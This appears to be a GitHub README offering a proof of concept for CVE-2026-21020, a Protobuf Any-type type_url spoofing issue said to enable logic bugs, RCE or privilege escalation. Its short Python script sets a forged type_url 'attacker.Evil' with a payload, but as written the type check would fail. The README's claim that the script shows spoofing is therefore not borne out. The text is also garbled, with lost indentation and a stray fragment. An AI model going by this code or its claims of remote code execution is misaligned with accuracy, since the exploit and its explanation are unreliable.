george0papasotiriou/cve-2026-21020-protobuf-message-parsing-polymorphic-deserialization-vulnerabilityPoC for CVE-2026-21020, demonstrating Protobuf Any-type polymorphic deserialization where attacker-controlled type_url can lead to logic bugs, RCE, or privilege escalation.
# proto_vuln.py - Insecure handling of Any type
import addressbook_pb2 # Example protobuf
# Simulated deserialization that trusts an injected type_url
from google.protobuf import any_pb2
any_msg = any_pb2.Any()
any_msg.type_url = "type.googleapis.com/attacker.Evil"
any_msg.value = b'\x0a\x05admin' # serialized payload
# Application unpacks to expected type but could instantiate arbitrary class if using dynamic loading
if any_msg.Is(addressbook_pb2.Person.DESCRIPTOR):
person = addressbook_pb2.Person()
any_msg.Unpack(person)
print("Person unpacked, but type_url was spoofed!")
A service uses Protocol Buffers’ Any type to encapsulate messages and dynamically unpacks them using the type_url field without validating the expected type. An attacker can send a message with a crafted type_url that points to a dangerous message class (or an unintended one), causing logic bugs or code execution.
type_url without whitelisting.Run the simulation:
pip install protobuf
python proto_vuln.py
It shows that the Any type can be spoofed; if the code dynamically loads the class from type_url, it could lead to RCE.